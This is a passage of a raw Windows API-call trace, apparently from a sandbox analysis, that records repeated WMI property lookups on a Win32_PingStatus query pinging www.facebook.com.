(bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.544] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b66a8*=0, plFlavor=0x21b66ac*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x21b66a8*=3, plFlavor=0x21b66ac*=64) returned 0x0 [0127.544] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b66dc*=0, plFlavor=0x21b66e0*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5ddd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68678, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21b66dc*=8200, plFlavor=0x21b66e0*=64) returned 0x0 [0127.544] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6710*=0, plFlavor=0x21b6714*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x21b6710*=8, plFlavor=0x21b6714*=64) returned 0x0 [0127.545] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.545] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.545] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b675c*=0, plFlavor=0x21b6760*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x21b675c*=8, plFlavor=0x21b6760*=64) returned 0x0 [0127.545] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.545] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.545] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b67a8*=0, plFlavor=0x21b67ac*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21b67a8*=8, plFlavor=0x21b67ac*=64) returned 0x0 [0127.545] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0127.545] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0127.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0127.545] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0127.545] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.545] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="Address", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b69e4*=0, plFlavor=0x21b69e8*=0 | out: pVal=0x572e938*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x21b69e4*=8, plFlavor=0x21b69e8*=0) returned 0x0 [0127.545] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0127.545] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0127.546] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0127.546] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0127.546] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.546] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0127.546] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0127.546] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.546] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0127.546] SafeArrayGetDim (psa=0x5c5dce0) returned 0x1 [0127.546] SafeArrayGetDim (psa=0x5c5dce0) returned 0x1 [0127.546] SafeArrayGetLBound (in: psa=0x5c5dce0, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0127.546] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.546] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.546] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.546] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.546] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.546] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.546] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.546] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.547] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.547] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.547] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.547] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.547] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.547] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.547] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.547] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.547] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.547] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.547] SysStringByteLen (bstr="__PATH") returned 0xc [0127.547] SysStringByteLen (bstr="__PATH") returned 0xc [0127.547] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6dbc*=0, plFlavor=0x21b6dc0*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x21b6dbc*=3, plFlavor=0x21b6dc0*=64) returned 0x0 [0127.547] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6df0*=0, plFlavor=0x21b6df4*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b6df0*=8, plFlavor=0x21b6df4*=64) returned 0x0 [0127.547] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.548] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.548] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6e48*=0, plFlavor=0x21b6e4c*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6e48*=8, plFlavor=0x21b6e4c*=64) returned 0x0 [0127.548] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6e70*=0, plFlavor=0x21b6e74*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b6e70*=8, plFlavor=0x21b6e74*=64) returned 0x0 [0127.548] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.548] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.548] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6ec8*=0, plFlavor=0x21b6ecc*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21b6ec8*=8, plFlavor=0x21b6ecc*=64) returned 0x0 [0127.548] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.548] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.549] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b70b4*=0, plFlavor=0x21b70b8*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x21b70b4*=3, plFlavor=0x21b70b8*=64) returned 0x0 [0127.549] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b70e8*=0, plFlavor=0x21b70ec*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5dd40*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68678, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21b70e8*=8200, plFlavor=0x21b70ec*=64) returned 0x0 [0127.549] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b711c*=0, plFlavor=0x21b7120*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x21b711c*=8, plFlavor=0x21b7120*=64) returned 0x0 [0127.549] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.549] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.549] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b7168*=0, plFlavor=0x21b716c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x21b7168*=8, plFlavor=0x21b716c*=64) returned 0x0 [0127.549] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.550] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.550] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b71b4*=0, plFlavor=0x21b71b8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21b71b4*=8, plFlavor=0x21b71b8*=64) returned 0x0 [0127.550] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0127.550] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0127.550] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0127.550] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0127.550] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.550] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="Address", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b73f0*=0, plFlavor=0x21b73f4*=0 | out: pVal=0x572e96c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x21b73f0*=8, plFlavor=0x21b73f4*=0) returned 0x0 [0127.550] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0127.550] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0127.550] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="Address", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b73f0*=8, plFlavor=0x21b73f4*=0 | out: pVal=0x572ea20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x21b73f0*=8, plFlavor=0x21b73f4*=0) returned 0x0 [0127.551] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0127.551] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0127.558] QueryPerformanceCounter (in: lpPerformanceCount=0x572e830 | out: lpPerformanceCount=0x572e830*=1176853559465) returned 1 [0128.118] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x508 [0128.248] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0128.248] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0128.248] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.249] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d33bc*=0, plFlavor=0x21d33c0*=0 | out: pVal=0x572e584*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x21d33bc*=8, plFlavor=0x21d33c0*=64) returned 0x0 [0128.249] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.249] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.249] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d33bc*=8, plFlavor=0x21d33c0*=64 | out: pVal=0x572e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x21d33bc*=8, plFlavor=0x21d33c0*=64) returned 0x0 [0128.249] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.249] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.249] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0128.249] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0128.249] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.249] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d3458*=0, plFlavor=0x21d345c*=0 | out: pVal=0x572e584*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21d3458*=8, plFlavor=0x21d345c*=64) returned 0x0 [0128.249] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.249] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.249] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d3458*=8, plFlavor=0x21d345c*=64 | out: pVal=0x572e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21d3458*=8, plFlavor=0x21d345c*=64) returned 0x0 [0128.249] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.250] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.250] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0128.250] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0128.250] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.250] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d35b4*=0, plFlavor=0x21d35b8*=0 | out: pVal=0x572e584*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5de60*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c686a8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21d35b4*=8200, plFlavor=0x21d35b8*=64) returned 0x0 [0128.250] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d35b4*=8200, plFlavor=0x21d35b8*=64 | out: pVal=0x572e58c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5de30*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c686a8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21d35b4*=8200, plFlavor=0x21d35b8*=64) returned 0x0 [0128.250] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0128.250] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0128.250] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.251] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d381c*=0, plFlavor=0x21d3820*=0 | out: pVal=0x572e584*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21d381c*=8, plFlavor=0x21d3820*=64) returned 0x0 [0128.251] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.251] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.251] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d381c*=8, plFlavor=0x21d3820*=64 | out: pVal=0x572e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21d381c*=8, plFlavor=0x21d3820*=64) returned 0x0 [0128.251] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.251] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.251] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e588 | out: puCount=0x572e588*=0x2) returned 0x0 [0128.251] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0x0, pszText=0x0 | out: puBuffLength=0x572e584*=0xf, pszText=0x0) returned 0x0 [0128.251] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e584*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e584*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.251] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d3944*=0, plFlavor=0x21d3948*=0 | out: pVal=0x572e584*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5de60*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c686a8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21d3944*=8200, plFlavor=0x21d3948*=64) returned 0x0 [0128.251] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__Derivation", lFlags=0, pVal=0x572e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21d3944*=8200, plFlavor=0x21d3948*=64 | out: pVal=0x572e58c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5de30*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c686a8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21d3944*=8200, plFlavor=0x21d3948*=64) returned 0x0 [0128.252] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5a0 | out: puCount=0x572e5a0*=0x2) returned 0x0 [0128.252] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e59c*=0x0, pszText=0x0 | out: puBuffLength=0x572e59c*=0xf, pszText=0x0) returned 0x0 [0128.252] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e59c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e59c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.252] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5a0 | out: puCount=0x572e5a0*=0x2) returned 0x0 [0128.252] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e59c*=0x0, pszText=0x0 | out: puBuffLength=0x572e59c*=0xf, pszText=0x0) returned 0x0 [0128.252] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e59c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e59c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.252] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e5a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e59c | out: pNames=0x572e59c*="\x01ƀ\x04") returned 0x0 [0128.253] SafeArrayGetDim (psa=0x5c5de90) returned 0x1 [0128.253] SafeArrayGetDim (psa=0x5c5de90) returned 0x1 [0128.253] SafeArrayGetLBound (in: 